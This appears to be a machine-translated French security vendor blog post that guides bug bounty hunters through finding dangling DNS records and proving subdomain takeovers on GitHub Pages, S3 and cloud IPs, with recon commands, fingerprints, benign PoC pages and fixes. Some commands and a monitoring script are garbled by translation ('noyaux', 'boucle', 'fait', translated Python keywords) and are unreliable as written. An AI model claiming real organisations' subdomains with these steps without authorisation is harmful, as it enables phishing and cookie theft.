← Retour au blog
Reconnaissance et prise de contrôle 3 avril 2026 20 minutes de lecture

Reprise de sous-domaine : guide de détection étape par étape et de preuve de concept

Les prises de contrôle de sous-domaines sont l’une des vulnérabilités de haute gravité les plus fiables et reproductibles dans les programmes de primes aux bogues. Lorsqu'un enregistrement CNAME pointe vers un service non réclamé, tout attaquant peut enregistrer ce service et diffuser du contenu malveillant sous votre domaine de confiance, en volant des cookies, en effectuant du phishing et en contournant les restrictions CORS.

500+
Empreintes digitales dans Can-I-Take-Over-XYZ
500 $ à 5 000 $
Gamme de primes typique
Haut
Gravité commune
Minutes
À exploiter si vulnérable

Comprendre la reprise de sous-domaine

ℹ️ La chaîne de vulnérabilité

Une prise de contrôle de sous-domaine se produit lorsque : (1) Legacy.company.com a un CNAME pointant vers entreprise.azurewebsites.net, (2) l'Azure Web App est supprimée/déprovisionnée, laissant le CNAME « en suspens », (3) un attaquant enregistre une nouvelle Azure Web App avec le même nom d'hôte, (4) l'attaquant contrôle désormais le contenu servi sur Legacy.company.com.

Pourquoi c'est une gravité élevée


Phase 1 : Découverte des actifs

Énumération des sous-domaines

# Passive enumeration
subfinder -d target.com -silent -all -o passive_subs.txt

# Active brute force
amass enum -active -d target.com -o active_subs.txt

# Certificate transparency
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
  jq -r '.[].name_value' | sort -u | tee ct_subs.txt

# Combine and deduplicate
cat passive_subs.txt active_subs.txt ct_subs.txt | \
  sort -u > all_subs.txt

Vérification de la résolution DNS

# Check which subdomains resolve
cat all_subs.txt | dnsx -silent -resp | tee resolved_subs.txt

# Find CNAMEs
cat all_subs.txt | dnsx -silent -cname -resp | tee cnames.txt

# Example output:
# legacy.target.com -> company.azurewebsites.net
# api-old.target.com -> company.github.io
# status.target.com -> entreprise.statuspage.io

Phase 2 : identification des CNAME en suspens

Vérification manuelle

# Check if the CNAME target is unclaimed
dig +short legacy.target.com
# Returns: company.azurewebsites.net

# Check if that hostname responds
curl -v -H "Host: company.azurewebsites.net" \
  https://company.azurewebsites.net 2>&1 | tête -20

# Recherchez les « empreintes digitales de reprise » :
# Azure : "Site Web 404 introuvable"
# GitHub Pages : "Il n'y a pas de site GitHub Pages ici"
# Heroku : "Aucune application de ce type"
# AWS S3 : "NoSuchBucket"
# Fastly : "Erreur Fastly : domaine inconnu"

Détection automatisée avec Nuclei

# Nuclei a des modèles de prise de contrôle de sous-domaines intégrés
noyaux -l all_subs.txt -t takeovers/ -silent

# Ou utilisez subjack
allez installer github.com/haccer/subjack@latest
subjack -w all_subs.txt -t 100 -timeout 30 \
  -ssl -c ~/go/src/github.com/haccer/subjack/fingerprints.json \
  -o takeover_results.txt

La référence Can-I-Take-Over-XYZ

Le puis-je-prendre-le-xyz le référentiel conserve les empreintes digitales de plus de 500 services. Services clés à vérifier :

ServiceEmpreinte digitaleReprendre?
Pages GitHub"Il n'y a pas de site GitHub Pages ici"✅ Oui
AWS S3"Pas de tel seau"✅ Oui (même région)
Applications Web Azure"Site Web 404 introuvable"✅ Oui
Héroku"Aucune application de ce type"✅ Oui
Shopify"Désolé, cette boutique est actuellement indisponible"✅ Oui
Rapidement"Erreur Fastly : domaine inconnu"✅ Oui
Panthéon"Erreur 404 site inconnu"✅ Oui
Wordpress.com"Voulez-vous vous inscrire..."✅ Oui
Zendesk"Centre d'aide fermé"✅ Oui
Surge.sh"projet introuvable"✅ Oui

Phase 3 : Preuve de concept (sûr)

⚠️ Éthique PoC

Un PoC responsable démontre un impact SANS : diffuser du contenu malveillant, capturer des cookies/sessions d'utilisateurs réels, usurper l'identité de la cible ou provoquer une perturbation. Votre page PoC doit clairement s'identifier comme une démonstration de recherche sur la sécurité et ne contenir aucune fonctionnalité sensible.

PoC de reprise des pages GitHub

# Step 1: Confirm dangling CNAME
dig +short blog-old.target.com
# Returns: targetcompany.github.io

# Step 2: Check fingerprint
curl -s https://blog-old.target.com | grep -i "github"
# Returns: "There isn't a GitHub Pages site here"

# Step 3: Create PoC repository
# Create GitHub repo: targetcompany.github.io (if available) or
# Create GitHub Pages with custom domain matching CNAME target

# Step 4: Add CNAME file in repo
echo "blog-old.target.com" > CNAME

# Step 5: Add responsible PoC page
cat > index.html << 'EOF'
<!-- SECURITY RESEARCH - SUBDOMAIN TAKEOVER PoC -->
<!-- This page is hosted by a security researcher -->
<!-- to demonstrate a subdomain takeover vulnerability -->
<!-- No malicious actions are being performed -->
<h1>Subdomain Takeover - Security Research PoC</h1>
<p>This subdomain (blog-old.target.com) is vulnerable to takeover.</p>
<p>Researcher: [your handle]</p>
<p>Reported: [date]</p>
EOF

PoC de reprise de compartiment AWS S3

# Confirm dangling CNAME
dig +short assets-legacy.target.com
# Returns: target-legacy-assets.s3.amazonaws.com

# Check response
curl -v https://assets-legacy.target.com 2>&1 | grep -i "NoSuchBucket"
# "The specified bucket does not exist" -> Vulnérable!

# Extrayez la région des en-têtes de réponse ou essayez :
# us-east-1 est la valeur par défaut s'il n'y a pas d'en-tête de région

# Créer un bucket PoC (MÊME NOM que la cible CNAME)
aws s3 mb s3://target-legacy-assets --region us-east-1

# Activer l'hébergement statique
site Web AWS s3 s3://target-legacy-assets \
  --index-document index.html

# Téléchargez un PoC responsable
echo "<h1>PoC de reprise de sous-domaine - Recherche sur la sécurité</h1>" | \
  aws s3 cp - s3://target-legacy-assets/index.html \
  --content-type texte/html --acl public-read

Documenter l'impact

# Démontrer l'accès aux cookies (UNIQUEMENT avec le compte de test que VOUS contrôlez)
# Créez un compte test, définissez des cookies, visitez votre page PoC
# Capture d'écran montrant le contenu du document.cookie
# Cela prouve la portée du vol de cookies

# Document avec captures d'écran :
# 1. Recherche DNS affichant un CNAME pendant
# 2. Réponse par empreinte digitale (NoSuchBucket, etc.)
# 3. Votre page PoC hébergée sur le sous-domaine
# 4. Navigateur affichant le domaine légitime + votre contenu
# 5. (Facultatif) Testez l'accès aux cookies à partir de votre propre compte de test

Phase 4 : correctifs permanents

Correction immédiate

  1. Supprimez le CNAME pendant — Supprimez l'enregistrement DNS pointant vers le service non réclamé
  2. Ou récupérer le service — Réenregistrez le nom d'hôte cible auprès du fournisseur de services
  3. Auditez tous les autres sous-domaines pour les enregistrements en suspens similaires

Prévention à long terme

# Automate continuous subdomain monitoring
# Check all CNAMEs weekly for dangling status

#!/bin/bash
# monitor_dangling_cnames.sh
while IFS= read -r subdomain; do
  cname=$(dig +short CNAME "$subdomain" | head -1)
  if [ -n "$cname" ]; then
    # Resolve the CNAME target
    ip=$(dig +short "$cname" | tail -1)
    if [ -z "$ip" ]; then
      echo "DANGLING CNAME: $subdomain -> $cnom"
      # Envoyer une alerte
    fi
  fi
fait < subdomains.txt

Liste de contrôle pour la prévention du piratage de sous-domaines


A Records et rachats de NS

Un record de rachats (IP élastiques)

💡 Souvent négligé : un record de rachats

Semblable aux reprises CNAME, les enregistrements A pointant vers des adresses IP Elastic ou des adresses IP publiques Azure publiées peuvent être repris par le prochain client qui obtiendra cette adresse IP. Les IP AWS Elastic et Azure PIP publiées dans le pool peuvent être réaffectées au compte de n'importe quel client.

# Vérifiez si un enregistrement pointe vers une adresse IP cloud non allouée
creuser + court api-legacy.target.com
# Retourne : 52.xxx.xxx.xxx

# Vérifiez si l'IP appartient à AWS
boucle https://ip-ranges.amazonaws.com/ip-ranges.json | \
  python3 -c "importer json,sys; \
  [print(p['préfixe'], p['région'], p['service']) \
  pour p dans json.load(sys.stdin)['prefixes'] \
  si '52.xxx.xxx' dans p.get('ip_prefix','')]"

# Si AWS IP, essayez de la revendiquer en lançant EC2 avec cette IP
# (Ne le faites qu'avec une autorisation explicite)

Prise de contrôle de NS (le plus critique)

⚠️ Prise de contrôle NS = Contrôle total de la zone

Si un sous-domaine délègue des serveurs de noms à une zone qui n'existe plus (domaine expiré), un attaquant peut enregistrer ce domaine et contrôler TOUS les DNS du sous-domaine. Ceci est plus rare mais entraîne un contrôle complet des sous-domaines, y compris la messagerie électronique, HTTPS et tous les sous-domaines de la zone déléguée.

Surveiller en permanence les reprises de sous-domaines

La gestion de la surface d'attaque de KENSAI surveille en permanence vos sous-domaines pour détecter les CNAME en suspens, les services déprovisionnés et les risques de prise de contrôle avant que les attaquants ne les trouvent.

Démarrer l'analyse gratuite →

FAQ

Le rachat d'un sous-domaine est-il toujours une vulnérabilité critique ?

La gravité dépend de la fonction du sous-domaine et du niveau de confiance. Un sous-domaine marketing sans cookies peut être Medium. Un sous-domaine répertorié comme URI de redirection OAuth, approuvé par les politiques CORS ou recevant des cookies étendus au domaine racine est critique. Évaluez toujours les chemins d’attaque réels disponibles pour un attaquant qui contrôle le sous-domaine.

Puis-je reprendre le sous-domaine pendant une recherche sans autorisation ?

Cela dépend entièrement des règles de votre programme de bug bounty. De nombreux programmes autorisent les rachats de PoC avec une page de divulgation responsable. Certains l’interdisent explicitement. En cas de doute, fournissez la preuve DNS (pendant CNAME + réponse d'empreinte digitale) sans prendre le relais. Incluez une capture d'écran de ce que vous serait pouvoir le faire si vous avez enregistré le service.

Combien de temps les programmes doivent-ils corriger ?

Les rachats de sous-domaines doivent être considérés comme critiques : la correction est simple (supprimer l’enregistrement DNS) et le risque d’exploitation réelle par un attaquant est élevé. La plupart des programmes s'attendent à une correction le jour même ou le lendemain pour les prises de contrôle actives de sous-domaines.

La sécurité n'est pas facultative.

🗡️ L'équipe KENSAI

Articles connexes

CVE-2026-3880 : Cross-Site Scripting (XSS) dans le référentiel Exchange Zohocorp ManageEngine SentinelOne cartographie la chaîne d'intrusion en 8 étapes, SANS rapporte l'IA que je transforme La vulnérabilité Smart Slider dans WordPress affecte 500 000 sites Web, correctif TP-Link et Cisco IOS